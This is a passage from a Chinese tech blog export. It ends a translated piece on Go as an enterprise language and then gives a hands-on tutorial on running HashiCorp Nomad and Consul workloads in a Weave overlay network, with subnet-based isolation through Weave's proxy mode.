虽然Go的垃圾收集器只引入了非常短的中断，但支持硬实时需要没有垃圾收集的技术，例如Rust。\n结论 这篇博客文章给出了一些明智的背景知识，但往往没有那么明显的选择进入Go的设计，以及当他们的代码库和团队成数量级增长时，他们将如何从许多痛苦中拯救大型工程项目。总的来说，他们将Go定位为寻求Java之外的现代编程语言的大型开发项目的绝佳选择。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/05/03/go-is-on-a-trajectory-to-become-the-next-enterprise-programming-language/","summary":"\u003cp\u003e发展演化了\u003ca href=\"https://tonybai.com/2017/09/24/go-ten-years-and-climbing/\"\u003e十年的Go语言\u003c/a\u003e已经被证明了是云计算时代的首选编程语言，但\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo\u003c/a\u003e的用武之地显然不局限于此。Kevin Goslar近期在\u003ca href=\"https://hackernoon.com/\"\u003eHacker Noon\u003c/a\u003e发表了一篇名为：\u003ca href=\"https://hackernoon.com/go-is-on-a-trajectory-to-become-the-next-enterprise-programming-language-3b75d70544e\"\u003e《Go is on a Trajectory to Become the Next Enterprise Programming Language》\u003c/a\u003e的文章，阐述了Go可能成为下一个企业编程语言的理由，这里是那篇文章的中文译文，分享给大家。\u003c/p\u003e","title":"Go正走在成为下一个企业级编程语言的轨道上"},{"content":"当初Kubernetes网络的设计目标是使得开发者使用pod时在网络这一层面可以像使用传统物理主机或虚拟机一样。具体的基本要求如下：\n所有pod间均应可以在无需NAT的情况下直接通信； 所有集群节点与所有集群的Pod之间均应可以在无需NAT的情况下直接通信； 容器自身的地址和其他pod看到的它的地址是同一个地址； 按照这样的要求，集群中的每个pod都在一个平坦的、共享网络命名空间中，并且每个Pod都拥有一个IP，通信时无需端口映射。 用户也需要额外考虑如何建立Pod之间的连接，也不需要考虑将容器端口映射到主机端口等问题。基于这些要求而实现的k8s pod网络模型，将具有向后兼容的特性，可以使得Pod从某些角度上可以被看成是一个传统的物理主机或vm来对待。\n在《使用nomad实现集群管理和微服务部署调度》一文中，我们看到nomad部署调度的driver为docker的服务实例都是通过主机和容器间的端口映射来对外提供服务的。服务实例多的时候，大量服务端口出现在眼前，我们很难用端口判断这是什么服务。并且通过映射端口暴露服务有局限，对于那些需要映射到主机固定端口的服务来说，很可能存在与其他服务的端口冲突而导致部署失败。除此之外，这种端口映射的方式还缺少隔离的作用，所有实例暴露的端口在同一个全局网络空间。\nnomad是否可以像k8s一样将服务实例部署到overlay网络中从而实现每个服务实例所在container可以被看成一个独立的vm；并且我们还可以通过划分overlay的网段来隔离，实现某种意义上的“多租户”呢？在本篇文章中，我们来试验一下上述想法是否可行。\n一、搭建试验环境 我们这次在一个VirtualBox搭建的三节点环境中进行验证。如果小伙伴对这段很熟悉，或者有现成的环境可用，那么可以跳过这一小节。另外这节不是重点，我不会对这个过程用过多文字做解释。\n1. 创建虚机，组建网络 我们在一台ubuntu 18.04 desktop版本主机上搭建环境，所使用的软件版本信息如下：\nVirtualBox: 5.2.18\nGuest OS: Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)\n组件环境的虚拟机和网络拓扑示意图如下：\n如上图所示：三个vm 通过连入host-only网络(vboxnet0)实现内网通；通过连入NAT网络（NatNetwork）实现外网通。（怪异：在windows上的virtualbox实际上通过natnetwork即可实现全通的，无需host-only network，但是在ubuntu下居然不行）。\n每个vm中网络配置如下：\n# cat /etc/network/interfaces # This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). source /etc/network/interfaces.d/* # The loopback network interface auto lo iface lo inet loopback # The primary network interface auto enp0s3 iface enp0s3 inet dhcp auto enp0s8 iface enp0s8 inet dhcp 保存后，执行/etc/init.d/networking restart生效。\n另外每个vm上安装了openssh-server(apt install openssh-server)并设置root可登陆。三个vm的主机名分为为u1、u2和u3（可通过hostnamectl –static set-hostname u1设置。并在/etc/hosts中添加主机名和内网IP的对应关系）。\n每台主机上安装了docker引擎(通过apt install docker.io安装），docker版本信息如下：\n# docker version Client: Version: 18.09.2 API version: 1.39 Go version: go1.10.4 Git commit: 6247962 Built: Tue Feb 26 23:56:24 2019 OS/Arch: linux/amd64 Experimental: false Server: Engine: Version: 18.09.2 API version: 1.39 (minimum version 1.12) Go version: go1.10.4 Git commit: 6247962 Built: Tue Feb 12 22:47:29 2019 OS/Arch: linux/amd64 Experimental: false 二、使用weave创建跨节点的overlay network 我们选择weave作为overlay network的实现。\n1. 安装weave 我们在每个vm节点上安装目前最新版本的weave，以一个节点为例：\n# curl -L git.io/weave -o /usr/local/bin/weave % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0 0 0 0 0 0 0 0 0 --:--:-- 0:00:02 --:--:-- 0 100 595 0 595 0 0 62 0 --:--:-- 0:00:09 --:--:-- 137 100 52227 100 52227 0 0 4106 0 0:00:12 0:00:12 --:--:-- 21187 # chmod a+x /usr/local/bin/weave # weave version weave script 2.5.1 ... ... 通过weave setup预先将weave相关的容器Image下载到各个节点，为后面的weave launch所使用。\n# weave setup 2.5.1: Pulling from weaveworks/weave ... ... c458f7a37ca6: Pull complete Digest: sha256:a170dd93fa7e678cc37919ffd65601d1015da6c3f10878534ac237381ea0db19 Status: Downloaded newer image for weaveworks/weave:2.5.1 2.5.1: Pulling from weaveworks/weaveexec ... ... c11f30d06b58: Pull complete Digest: sha256:ad53aaabf648548ec26cceac3ab49394778322e1623f0d184a2b74ad06338087 Status: Downloaded newer image for weaveworks/weaveexec:2.5.1 latest: Pulling from weaveworks/weavedb 9b0681f946a1: Pull complete Digest: sha256:c280cf4e7208f4ca0d2514539e0f476dd12db70beacdc368793b7736de023d8d Status: Downloaded newer image for weaveworks/weavedb:latest 2. 启动跨多节点(peer) weave network weave的一个优点是建立跨节点overlay network时并不需要一个外部的存储(比如etcd），位于多个节点上的weave进程会自动同步相关信息。而且weave支持动态向weave overlay network中添加节点。\n我们来初始化这个由三个vm节点构成的weave overlay network：\nroot@u1:~# weave launch --no-dns 192.168.56.4 192.168.56.5 78f459a4a8acc07d46c1f86a15a519b91978c809876452b9d9c1294e760394a9 root@u2:~# weave launch --no-dns 192.168.56.3 192.168.56.5 1f379e50f3917e05bd133589f75594d7b2da20a680bb1e5e7172e37a18abe3ff root@u3:~# weave launch --no-dns 192.168.56.3 192.168.56.4 aa600bfad8db8711e2cbc5f8e127022460ca3738226dd7aa33bb5b9b049f8cee 执行完上面命令后，在任意一个vm节点上执行下面命令，查看节点weave之间的连接状态：\nroot@u1:~# weave status connections \u0026lt;- 192.168.56.4:54715 established fastdp 8e:d8:ad:a8:32:eb(u2) mtu=1376 \u0026lt;- 192.168.56.5:51504 established fastdp f6:58:43:5c:68:d7(u3) mtu=1376 我们看到u1节点已经和u2、u3节点成功建立了连接，weave的工作模式是fastdp(fast data path)，mtu为默认的1376（适当调节weave mtu可以提升weave overlay network的网络性能）。\n我们也可以通过weave status命令查看一下weave网络的整体状态：\n# weave status Version: 2.5.1 (up to date; next check at 2019/04/18 12:35:41) Service: router Protocol: weave 1..2 Name: f6:58:43:5c:68:d7(u3) Encryption: disabled PeerDiscovery: enabled Targets: 3 Connections: 3 (2 established, 1 failed) Peers: 3 (with 6 established connections) TrustedSubnets: none Service: ipam Status: ready Range: 10.32.0.0/12 DefaultSubnet: 10.32.0.0/12 Service: dns Domain: weave.local. Upstream: 10.0.3.3 TTL: 1 Entries: 0 Service: proxy Address: unix:///var/run/weave/weave.sock Service: plugin (legacy) DriverName: weave 3. 在weave overlay network中创建container并测试overlay网内container的互通性 我们通过为docker指定net driver为weave的方式让docker在weave overlay network中创建container：\nroot@u1:~# docker run -ti --net=weave busybox /bin/sh root@u2:~# docker run -ti --net=weave busybox /bin/sh root@u3:~# docker run -ti --net=weave busybox /bin/sh 我们在u1上启动的容器内去ping位于其他两个vm上启动的新容器：\n/ # ping -c 3 10.32.0.1 PING 10.32.0.1 (10.32.0.1): 56 data bytes 64 bytes from 10.32.0.1: seq=0 ttl=64 time=1.540 ms 64 bytes from 10.32.0.1: seq=1 ttl=64 time=1.548 ms 64 bytes from 10.32.0.1: seq=2 ttl=64 time=1.434 ms --- 10.32.0.1 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 1.434/1.507/1.548 ms / # ping -c 3 10.46.0.0 PING 10.46.0.0 (10.46.0.0): 56 data bytes 64 bytes from 10.46.0.0: seq=0 ttl=64 time=5.118 ms 64 bytes from 10.46.0.0: seq=1 ttl=64 time=1.608 ms 64 bytes from 10.46.0.0: seq=2 ttl=64 time=1.837 ms --- 10.46.0.0 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 1.608/2.854/5.118 ms 我们看到位于weave overlay network中的三个容器是连通的。\n4. 测试host到weave overlay网络中容器的连通性 考虑到后续host上的consul会对部署在weave overlay network中的container中的服务做health check，因此需要在host上能连通位于overlay network中的container。\n我们来测试一下：\nroot@u1:~# docker run -ti --net=weave busybox /bin/sh / # ip a 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 29: ethwe0@if30: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN\u0026gt; mtu 1376 qdisc noqueue link/ether aa:8f:45:8f:5f:d6 brd ff:ff:ff:ff:ff:ff inet 10.40.0.0/12 brd 10.47.255.255 scope global ethwe0 valid_lft forever preferred_lft forever 31: eth0@if32: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN\u0026gt; mtu 1500 qdisc noqueue link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0 valid_lft forever preferred_lft forever root@u1:~# ping 10.40.0.0 PING 10.40.0.0 (10.40.0.0) 56(84) bytes of data. ^C --- 10.40.0.0 ping statistics --- 4 packets transmitted, 0 received, 100% packet loss, time 3024ms 从测试结果来看，在host无法ping通位于weave network上的container。这个问题实则也显而易见，因为当前host上的路由表中没有以weave网络range: 10.32.0.0/12为目的地址的路由，并且weave网络设备也并未启用ip地址：\nroot@u1:~# ip route default via 10.0.3.2 dev enp0s8 10.0.3.0/24 dev enp0s8 proto kernel scope link src 10.0.3.15 172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 172.18.0.0/16 dev docker_gwbridge proto kernel scope link src 172.18.0.1 192.168.56.0/24 dev enp0s3 proto kernel scope link src 192.168.56.3 关于这个问题，weave官方给出了答案：我们可以通过weave expose命令自动为主机上的weave设备分配ip地址，添加到10.32.0.0/12的路由。\nroot@u1:~# weave expose 10.40.0.1 root@u1:~# ip a .... ... 7: weave: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1376 qdisc noqueue state UP group default qlen 1000 link/ether b2:97:b5:7b:0f:a9 brd ff:ff:ff:ff:ff:ff inet 10.40.0.1/12 brd 10.47.255.255 scope global weave valid_lft forever preferred_lft forever inet6 fe80::b097:b5ff:fe7b:fa9/64 scope link valid_lft forever preferred_lft forever .... ... root@u1:~# ip route default via 10.0.3.2 dev enp0s8 10.0.3.0/24 dev enp0s8 proto kernel scope link src 10.0.3.15 10.32.0.0/12 dev weave proto kernel scope link src 10.40.0.1 172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 172.18.0.0/16 dev docker_gwbridge proto kernel scope link src 172.18.0.1 192.168.56.0/24 dev enp0s3 proto kernel scope link src 192.168.56.3 我们看到在u1节点上执行完expose之后，weave设备拥有了自己的ip地址，并且主机路由表中也增加了10.32.0.0/12网络的路由。我们再来测试一下u1上主机到container是否通了：\nroot@u1:~# ping 10.40.0.0 PING 10.40.0.0 (10.40.0.0) 56(84) bytes of data. 64 bytes from 10.40.0.0: icmp_seq=1 ttl=64 time=4.42 ms 64 bytes from 10.40.0.0: icmp_seq=2 ttl=64 time=1.04 ms 64 bytes from 10.40.0.0: icmp_seq=3 ttl=64 time=1.21 ms ^C --- 10.40.0.0 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2003ms rtt min/avg/max/mdev = 1.048/2.228/4.425/1.554 ms 网络已经打通。我们继续在u2、u3两个节点上执行weave expose，这样三台主机都可以通过网络reach到位于任何一台主机上的、weave network中的container。\n而从container到host，原本就可以访问，以u1上的container为例：\n/ # ping 192.168.56.3 PING 192.168.56.3 (192.168.56.3): 56 data bytes 64 bytes from 192.168.56.3: seq=0 ttl=64 time=0.345 ms ^C --- 192.168.56.3 ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.345/0.345/0.345 ms / # ping 192.168.56.4 PING 192.168.56.4 (192.168.56.4): 56 data bytes 64 bytes from 192.168.56.4: seq=0 ttl=63 time=1.277 ms ^C --- 192.168.56.4 ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 1.277/1.277/1.277 ms 三、安装consul和nomad集群 在《使用nomad实现集群管理和微服务部署调度》一文中，我们已经详细说过consul和nomad的安装配置过程，这里仅列出步骤，不再详细说明。已经有环境的朋友可以略过该步骤！\n1. 安装consul 在每个节点上执行下面步骤安装：\n# wget -c https://releases.hashicorp.com/consul/1.4.4/consul_1.4.4_linux_amd64.zip # unzip consul_1.4.4_linux_amd64.zip # mv consul /usr/local/bin # mkdir -p ~/consul-install/consul-data 启动consul集群：\nu1: # nohup consul agent -server -ui -dns-port=53 -bootstrap-expect=3 -data-dir=/root/consul-install/consul-data -node=consul-1 -client=0.0.0.0 -bind=192.168.56.3 -datacenter=dc1 \u0026gt; consul-1.log \u0026amp; 2\u0026gt;\u0026amp;1 u2: # nohup consul agent -server -ui -dns-port=53 -bootstrap-expect=3 -data-dir=/root/consul-install/consul-data -node=consul-2 -client=0.0.0.0 -bind=192.168.56.4 -datacenter=dc1 -join 192.168.56.3 \u0026gt; consul-2.log \u0026amp; 2\u0026gt;\u0026amp;1 u3: nohup consul agent -server -ui -dns-port=53 -bootstrap-expect=3 -data-dir=/root/consul-install/consul-data -node=consul-3 -client=0.0.0.0 -bind=192.168.56.5 -datacenter=dc1 -join 192.168.56.3 \u0026gt; consul-3.log \u0026amp; 2\u0026gt;\u0026amp;1 查看启动状态：\n# consul operator raft list-peers Node ID Address State Voter RaftProtocol consul-1 db838e7c-2b02-949b-763b-a6646ee51981 192.168.56.3:8300 leader true 3 consul-2 33c81139-5054-7e76-f320-7d28d7528cc8 192.168.56.4:8300 follower true 3 consul-3 4eda7d24-3fe2-45f5-f4ad-b95fa39f13c1 192.168.56.5:8300 follower true 3 如果输出类似上面的日志，则说明consul集群启动成功！\n接下来为了利用consul内嵌的DNS server，我们修改一下各个node的DNS配置 /etc/resolvconf/resolv.conf.d/base：\n// /etc/resolvconf/resolv.conf.d/base nameserver 192.168.56.3 nameserver 192.168.56.4 options timeout:2 attempts:3 rotate single-request-reopen # /etc/init.d/resolvconf restart [ ok ] Restarting resolvconf (via systemctl): resolvconf.service. 2. 安装nomad并启动nomad集群 下面是在每个node上安装nomad的步骤：\n# wget -c https://releases.hashicorp.com/nomad/0.8.7/nomad_0.8.7_linux_amd64.zip # mkdir nomad-install # unzip nomad_0.8.7_linux_amd64.zip # mv nomad /usr/local/bin # nomad version Nomad v0.8.7 (21a2d93eecf018ad2209a5eab6aae6c359267933+CHANGES) 在每个node上创建agent.hcl文件，放到nomad-install下面：\n// agent.hcl data_dir = \u0026quot;/root/nomad-install/nomad.d\u0026quot; bind_addr = \u0026quot;192.168.56.3\u0026quot; //node 内网ip，这里以u1 host为例 server { enabled = true bootstrap_expect = 3 } client { enabled = true } 启动集群(基于consul)：\nu1: # nohup nomad agent -config=/root/nomad-install/agent.hcl \u0026gt; nomad-1.log \u0026amp; 2\u0026gt;\u0026amp;1 u2: # nohup nomad agent -config=/root/nomad-install/agent.hcl \u0026gt; nomad-2.log \u0026amp; 2\u0026gt;\u0026amp;1 u3: # nohup nomad agent -config=/root/nomad-install/agent.hcl \u0026gt; nomad-3.log \u0026amp; 2\u0026gt;\u0026amp;1 查看nomad集群状态：\n# nomad server members -address=\u0026quot;http://192.168.56.3:4646\u0026quot; Name Address Port Status Leader Protocol Build Datacenter Region u1.global 192.168.56.3 4648 alive false 2 0.8.7 dc1 global u2.global 192.168.56.4 4648 alive true 2 0.8.7 dc1 global u3.global 192.168.56.5 4648 alive false 2 0.8.7 dc1 global # nomad operator raft list-peers -address=\u0026quot;http://192.168.56.3:4646\u0026quot; Node ID Address State Voter RaftProtocol u3.global 192.168.56.5:4647 192.168.56.5:4647 follower true 2 u2.global 192.168.56.4:4647 192.168.56.4:4647 leader true 2 u1.global 192.168.56.3:4647 192.168.56.3:4647 follower true 2 nomad集群启动成功！\n四. nomad实现在weave overlay network中的job部署 1. 创建位于weave overlay network中的nomad task service实例 我们定义如下nomad job的配置文件：\n//httpbackend.nomad job \u0026quot;httpbackend\u0026quot; { datacenters = [\u0026quot;dc1\u0026quot;] type = \u0026quot;service\u0026quot; group \u0026quot;httpbackend\u0026quot; { count = 3 task \u0026quot;httpbackend\u0026quot; { driver = \u0026quot;docker\u0026quot; config { image = \u0026quot;bigwhite/httpbackendservice:v1.0.0\u0026quot; dns_servers = [\u0026quot;192.168.56.3\u0026quot;, \u0026quot;192.168.56.4\u0026quot;, \u0026quot;192.168.56.5\u0026quot;] network_mode = \u0026quot;weave\u0026quot; logging { type = \u0026quot;json-file\u0026quot; } } resources { network { mbits = 10 } } service { name = \u0026quot;httpbackend\u0026quot; } } } } 与之前文章中job的配置文件不同的是，该job配置在task的config中增加了：\ndns_servers：由于docker 18.09在-net=weave下，container没有继承host的/etc/resolv.conf文件，我们为了能在container中通过服务的domain查询到其真实ip地址，我们在docker的执行参数中加入dns_servers，我们将u1,u2,u3都作为dns server提供了。\nnetwork_node：我们希望nomad调度负载、创建docker容器时将docker container创建在weave network中，因此我们在network_node中传入”weave”，这就相当于在执行docker时执行：docker run … –net=weave … …\n我们来创建一下该job：\n# nomad job run -address=http://192.168.56.3:4646 httpbackend.nomad ==\u0026gt; Monitoring evaluation \u0026quot;806eaecf\u0026quot; Evaluation triggered by job \u0026quot;httpbackend\u0026quot; Allocation \u0026quot;6e06be74\u0026quot; created: node \u0026quot;11212ed9\u0026quot;, group \u0026quot;httpbackend\u0026quot; Allocation \u0026quot;e7ed8569\u0026quot; created: node \u0026quot;aa5a06fe\u0026quot;, group \u0026quot;httpbackend\u0026quot; Allocation \u0026quot;fd6c6a05\u0026quot; created: node \u0026quot;fe7a7e9c\u0026quot;, group \u0026quot;httpbackend\u0026quot; Evaluation status changed: \u0026quot;pending\u0026quot; -\u0026gt; \u0026quot;complete\u0026quot; ==\u0026gt; Evaluation \u0026quot;806eaecf\u0026quot; finished with status \u0026quot;complete\u0026quot; # nomad job status -address=http://192.168.56.3:4646 httpbackend ID = httpbackend Name = httpbackend Submit Date = 2019-04-19T13:18:21+08:00 Type = service Priority = 50 Datacenters = dc1 Status = running Periodic = false Parameterized = false Summary Task Group Queued Starting Running Failed Complete Lost httpbackend 0 0 3 0 0 0 Allocations ID Node ID Task Group Version Desired Status Created Modified 6e06be74 11212ed9 httpbackend 0 run running 54s ago 7s ago e7ed8569 aa5a06fe httpbackend 0 run running 54s ago 6s ago fd6c6a05 fe7a7e9c httpbackend 0 run running 54s ago 12s ago 我们查看一下u1节点上的httpbackend负载的状态和ip：\nroot@u1:~/nomad-install/jobs# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 2e2229cf8f64 c196c122feea \u0026quot;/root/httpbackendse…\u0026quot; 49 seconds ago Up 48 seconds httpbackend-e7ed8569-fdde-537b-91b3-84583d1ea238 912ac43350f7 weaveworks/weave:2.5.1 \u0026quot;/home/weave/weaver …\u0026quot; 22 hours ago Up 22 hours weave root@u1:~/nomad-install/jobs# docker exec 2e2229cf8f64 ip a ... ... 49: ethwe0@if50: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN\u0026gt; mtu 1376 qdisc noqueue link/ether a2:f1:ef:d7:89:ee brd ff:ff:ff:ff:ff:ff inet 10.40.0.0/12 brd 10.47.255.255 scope global ethwe0 valid_lft forever preferred_lft forever .... ... 我们看到新创建的container的ip为10.40.0.0，是weave network subnet range中的一个地址。\n我们访问一下该服务：\n# curl http://10.40.0.0:8081 this is httpbackendservice, version: v1.0.0 我们看到了预期返回的结果。通过consul的域名访问也同样ok：\n# curl httpbackend.service.dc1.consul:8081 this is httpbackendservice, version: v1.0.0 我们从一个位于weave network中的container中去访问httpbackend服务，依然会得到正确的应答结果：\n# docker run -ti --net=weave --dns=192.168.56.3 --dns=8.8.8.8 ubuntu /bin/bash root@3fe76a39b66f:/# curl httpbackend.service.dc1.consul:8081 this is httpbackendservice, version: v1.0.0 五、 应用隔离 有些时候我们需要将部署的应用之间做隔离，让彼此无法互相访问。weave overlay network是支持这样做的，我们一起来看一下。\n1.重建weave网络 我们首先需要重新创建weave网络，使之能支持划分不同subnet。\n先在每个node上执行下面命令，将原有的weave网络清理干净：\n# weave reset 执行后，发现weave网络设备、weave相关容器、路由表中有关weave的路由都不见了。\n我们重新建立三节点的weave网络，在这个10.32.0.0/16的大网中，我们划分若干subnet，默认的subnet为10.32.0.0/24。\nu1: # weave launch --no-dns --ipalloc-range 10.32.0.0/16 --ipalloc-default-subnet 10.32.0.0/24 192.168.56.4 192.168.56.5 # weave expose u2: # weave launch --no-dns --ipalloc-range 10.32.0.0/16 --ipalloc-default-subnet 10.32.0.0/24 192.168.56.3 192.168.56.5 # weave expose u3: # weave launch --no-dns --ipalloc-range 10.32.0.0/16 --ipalloc-default-subnet 10.32.0.0/24 192.168.56.3 192.168.56.4 # weave expose 接下来我们在不同的subnet下分别建立两个container：\n首先在u1上，在default subnet下建立两个container a1和a2：\n#docker run -ti --net=weave --dns=192.168.56.3 --dns=8.8.8.8 --name a1 busybox /bin/sh #docker run -ti --net=weave --dns=192.168.56.3 --dns=8.8.8.8 --name a2 busybox /bin/sh 再在u2上在subnet 10.32.1.0/24下建立两个container：b1和b2\nu2上： # docker run -ti --net=weave --dns=192.168.56.3 --dns=8.8.8.8 -e WEAVE_CIDR=net:10.32.1.0/24 --name b1 busybox /bin/sh # docker run -ti --net=weave --dns=192.168.56.3 --dns=8.8.8.8 -e WEAVE_CIDR=net:10.32.1.0/24 --name b2 busybox /bin/sh 我们经过测试发现：a1与a2、a1与b1都是可以ping通的，这与我们的预期a1与b1、b2不通不符。我们发现b1(10.32.0.2)、b2(10.32.0.3)两个容器的ip地址居然依然在default subnet内，似乎通过环境变量WEAVE_CIDR传递的subnet信息没有生效。\n在weave的一个issue中，有开发者提到：WEAVE_CIDR仅用于weave proxy模式，在weave作为plugin模式工作时，docker不会将该环境变量信息传递给weave。也就是说即便上面在u2上创建b1、b2时设置了环境变量WEAVE_CIDR，weave插件也无法得到该信息，于是依旧在默认subnet范围为b1、b2分配了ip。\n2. 让docker使用weave proxy模式 weave proxy是位于docker client与docker engine(docker daemon)之间的代理服务：\ndocker client --\u0026gt; weave proxy ---\u0026gt; docker engine/daemon 默认情况下，/var/run/docker.sock是docker client和docker engine之间的通信“媒介”，Docker daemon默认监听的Unix域套接字(Unix domain socket)：/var/run/docker.sock，docker client以及容器中的进程可以通过它与Docker daemon进行通信。\n我们可通过docker -H xxx.sock或通过设置 DOCKER_HOST环境变量的方式让docker client与传入的unix socket通信。这样我们就可以将weave proxy的套接字unix:///var/run/weave/weave.sock（通过weave env查看到）传给docker client了。我们来测试一下：\nu1: # docker -H unix:///var/run/weave/weave.sock run -ti --dns=192.168.56.3 --dns=8.8.8.8 --name a1 busybox /bin/sh # docker -H unix:///var/run/weave/weave.sock run -ti --dns=192.168.56.3 --dns=8.8.8.8 --name a2 busybox /bin/sh u2: # docker -H unix:///var/run/weave/weave.sock run -ti --dns=192.168.56.3 --dns=8.8.8.8 -e WEAVE_CIDR=net:10.32.1.0/24 --name b1 busybox /bin/sh #docker -H unix:///var/run/weave/weave.sock run -ti --dns=192.168.56.3 --dns=8.8.8.8 -e WEAVE_CIDR=net:10.32.1.0/24 --name b2 busybox /bin/sh 四个container启动后，我们发现b1、b2的ip地址都在WEAVE_CIDR指定的空间内，a1、a2间互通；b1、b2间互通，但a1、a2与b1、b2间是不通的。这样就与预期相符了。\n3. nomad与weave proxy模式集成实现应用工作负载的隔离 接下来，我们来看看如何将nomad和weave的proxy模式集成在一起，实现工作负载分配在不同subnet。\n这里我们就无法仅仅通过在job配置文件中传入参数的方式来实现了，我们需要修改一下agent.hcl并重启nomad集群。以u1节点上的agent.hcl为例，我们需要改为下面这样：\ndata_dir = \u0026quot;/root/nomad-install/nomad.d\u0026quot; bind_addr = \u0026quot;192.168.56.5\u0026quot; server { enabled = true bootstrap_expect = 3 } client { enabled = true \u0026quot;options\u0026quot;:{ \u0026quot;docker.endpoint\u0026quot;:\u0026quot;unix://var/run/weave/weave.sock\u0026quot; } } 我们在client配置block中增加一个options，设置了docker.endpoint为weave proxy监听的weave.sock。重启集群：\nu1: # nohup nomad agent -config=/root/nomad-install/agent.hcl \u0026gt; nomad-1.log \u0026amp; 2\u0026gt;\u0026amp;1 u2: # nohup nomad agent -config=/root/nomad-install/agent.hcl \u0026gt; nomad-2.log \u0026amp; 2\u0026gt;\u0026amp;1 u3: # nohup nomad agent -config=/root/nomad-install/agent.hcl \u0026gt; nomad-3.log \u0026amp; 2\u0026gt;\u0026amp;1 接下来，我们重建一个httpbackend-another-subnet.nomad，内容如下：\n//httpbackend-another-subnet.nomad job \u0026quot;httpbackend\u0026quot; { datacenters = [\u0026quot;dc1\u0026quot;] type = \u0026quot;service\u0026quot; group \u0026quot;httpbackend\u0026quot; { count = 3 task \u0026quot;httpbackend\u0026quot; { driver = \u0026quot;docker\u0026quot; config { image = \u0026quot;bigwhite/httpbackendservice:v1.0.0\u0026quot; dns_servers = [\u0026quot;192.168.56.3\u0026quot;, \u0026quot;192.168.56.4\u0026quot;, \u0026quot;192.168.56.5\u0026quot;] logging { type = \u0026quot;json-file\u0026quot; } } env { WEAVE_CIDR=\u0026quot;net:10.32.1.0/24\u0026quot; } resources { network { mbits = 10 } } service { name = \u0026quot;httpbackend\u0026quot; } } } } 我们去掉了network_mode = “weave”，增加了一个env：WEAVE_CIDR=”net:10.32.1.0/24″。run这个job：\n# nomad job run -address=http://192.168.56.3:4646 httpbackend-another-subnet.nomad ==\u0026gt; Monitoring evaluation \u0026quot;e94bdd00\u0026quot; Evaluation triggered by job \u0026quot;httpbackend\u0026quot; Allocation \u0026quot;3f5032b5\u0026quot; created: node \u0026quot;11212ed9\u0026quot;, group \u0026quot;httpbackend\u0026quot; Allocation \u0026quot;40d75ae8\u0026quot; created: node \u0026quot;aa5a06fe\u0026quot;, group \u0026quot;httpbackend\u0026quot; Allocation \u0026quot;627fe1e7\u0026quot; created: node \u0026quot;fe7a7e9c\u0026quot;, group \u0026quot;httpbackend\u0026quot; Evaluation status changed: \u0026quot;pending\u0026quot; -\u0026gt; \u0026quot;complete\u0026quot; ==\u0026gt; Evaluation \u0026quot;e94bdd00\u0026quot; finished with status \u0026quot;complete\u0026quot; # docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 700bbea7c89e c196c122feea \u0026quot;/w/w /root/httpback…\u0026quot; 17 seconds ago Up 16 seconds httpbackend-40d75ae8-fe75-c560-b87b-c1272db4850c 8b7e29522b8b weaveworks/weave:2.5.1 \u0026quot;/home/weave/weaver …\u0026quot; 10 hours ago Up 10 hours weave root@u1:~/nomad-install/jobs# docker exec 700bbea7c89e ip a 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 142: eth0@if143: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN\u0026gt; mtu 1500 qdisc noqueue link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever 144: ethwe@if145: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN\u0026gt; mtu 1376 qdisc noqueue link/ether f2:55:9d:26:72:56 brd ff:ff:ff:ff:ff:ff inet 10.32.1.192/24 brd 10.32.1.255 scope global ethwe valid_lft forever preferred_lft forever 我们看到新创建的httpbackend container的ip已经分配到10.32.1.0/24 subnet下面了。这种方式使得我们可以任意安排我们的job放入哪个subnet。\n4. 遗留问题 我们通过consul go api试图从consul中获取service: httpbackend的ip信息，我们得到了如下的输出：\n# ./services 10.0.3.15 : 0 10.0.3.15 : 0 10.0.3.15 : 0 [] 